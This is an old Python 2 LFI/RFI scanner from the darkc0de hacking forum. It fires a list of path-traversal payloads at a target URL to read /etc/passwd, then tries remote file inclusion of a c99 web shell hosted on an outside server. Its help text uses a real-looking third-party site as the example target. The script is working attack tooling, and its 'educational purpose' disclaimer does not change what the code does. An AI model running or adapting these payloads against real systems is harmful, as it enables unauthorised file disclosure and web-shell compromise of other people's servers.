#!/usr/bin/python # This was written for educational purpose only. Use it at your own risk. # Author will be not responsible for any damage! # !!! Special greetz for my friend sinner_01 !!! # !!! Special thanx for d3hydr8 and rsauron who inspired me !!! # # In version 2 added proxy support # ################################################################ # .___ __ _______ .___ # # __| _/____ _______| | __ ____ \ _ \ __| _/____ # # / __ |\__ \\_ __ \ |/ // ___\/ /_\ \ / __ |/ __ \ # # / /_/ | / __ \| | \/ <\ \___\ \_/ \/ /_/ \ ___/ # # \____ |(______/__| |__|_ \\_____>\_____ /\_____|\____\ # # \/ \/ \/ # # ___________ ______ _ __ # # _/ ___\_ __ \_/ __ \ \/ \/ / # # \ \___| | \/\ ___/\ / # # \___ >__| \___ >\/\_/ # # est.2007 \/ \/ forum.darkc0de.com # ################################################################ # --- d3hydr8 - rsauron - P47r1ck - r45c4l - C1c4Tr1Z - bennu # # --- QKrun1x - skillfaker - Croathack - Optyx - Nuclear # # --- Eliminator and to all members of darkc0de and ljuska.org# # ################################################################ import sys, os, time, re, urllib2, socket, httplib if sys.platform == 'linux' or sys.platform == 'linux2': clearing = 'clear' else: clearing = 'cls' os.system(clearing) proxy = "None" count = 0 if len(sys.argv) < 2 or len(sys.argv) > 4: print "\n|---------------------------------------------------------------|" print "| b4ltazar[@]gmail[dot]com |" print "| 01/2009 LFI & RFI scanner v2.0 |" print "| Help: lfi-rfi.py -h |" print "| Visit www.darkc0de.com and www.ljuska.org |" print "|---------------------------------------------------------------|\n" sys.exit(1) for arg in sys.argv: if arg == '-h' or arg == '--help' or arg == '-help': print "\n|-------------------------------------------------------------------------------|" print "| b4ltazar[@]gmail[dot]com |" print "| 01/2009 LFI & RFI scanner v2.0 |" print "| Usage: lfi-rfi.py www.site.com |" print "| Example: lfi-rfi.py http://toscana.adiconsum.it/index.php?pagina= |" print "| Proxy: lfi-rfi.py http://toscana.adiconsum.it/index.php?pagina= -p PROXY |" print "| Visit www.darkc0de.com and www.ljuska.org |" print "|-------------------------------------------------------------------------------|\n" sys.exit(1) elif arg == '-p': proxy = sys.argv[count+1] count += 1 lfis = ["/etc/passwd%00","../etc/passwd%00","../../etc/passwd%00","../../../etc/passwd%00","../../../../etc/passwd%00","../../../../../etc/passwd%00","../../../../../../etc/passwd%00","../../../../../../../etc/passwd%00","../../../../../../../../etc/passwd%00","../../../../../../../../../etc/passwd%00","../../../../../../../../../../etc/passwd%00","../../../../../../../../../../../etc/passwd%00","../../../../../../../../../../../../etc/passwd%00","../../../../../../../../../../../../../etc/passwd%00","/etc/passwd","../etc/passwd","../../etc/passwd","../../../etc/passwd","../../../../etc/passwd","../../../../../etc/passwd","../../../../../../etc/passwd","../../../../../../../etc/passwd","../../../../../../../../etc/passwd","../../../../../../../../../etc/passwd","../../../../../../../../../../etc/passwd","../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../../etc/passwd"] site = sys.argv[1] shell = 'http://www.defcont4.hypersite.com.br/shell/c99.txt?' if site[:4] != "http": site = "http://"+site if site[-1] != "=": site = site + "=" print "\n|---------------------------------------------------------------|" print "| b4ltazar[@]gmail[dot]com |" print "| 01/2009 LFI & RFI scanner v2.0 |" print "| Visit www.darkc0de.com and www.ljuska.org |" print "|---------------------------------------------------------------|\n" print "\n[-] %s" % time.strftime("%X") print print "-"*80 print "\t\t\tChecking for LFI" print "-"*80 print "\n[+] Target:",site print "[+]",len(lfis),"LFI loaded..." print "[+] Starting Scan...\n" try: if proxy != "None": print "\n[+] Testing Proxy..." pr = httplib.HTTPConnection(proxy) pr.connect() print "[+] Proxy:",proxy print "[+] Building Handler" print proxy_handler = urllib2.ProxyHandler({'http': 'http://'+proxy+'/'}) else: print "\n[-] Proxy not given" print proxy_handler = "" except(socket.timeout): print "\n[-] Proxy Timed Out" sys.exit(1) except(),msg: print msg print "\n[-] Proxy Failed" sys.exit(1) for lfi in lfis: print "[+] Checking:" ,site+lfi.replace("\n","") print proxyfier = urllib2.build_opener(proxy_handler) try: check = proxyfier.open(site+lfi.replace("\n", "")).read() if re.findall("root:x:", check): print "[!] w00t!,w00t!: ",lfi print else: print "[-] Not Found: ",lfi print except(urllib2.HTTPError): pass except(KeyboardInterrupt, SystemExit): raise print print "-"*80 print "\t\t\tChecking for RFI" print "-"*80 print "\n[+] Target:",site print "[+] Starting Scan...\n" try: check = proxyfier.open(site+'http://www.defcont4.hypersite.com.br/shell/c99.txt?').read() if re.findall("c99shell", check): print "[!] w00t!,w00t!: ",site+shell print else: print "[-] Not Found: ",site+shell print except(urllib2.HTTPError): pass except(KeyboardInterrupt, SystemExit): pass print print "\n[-] %s" % time.strftime("%X")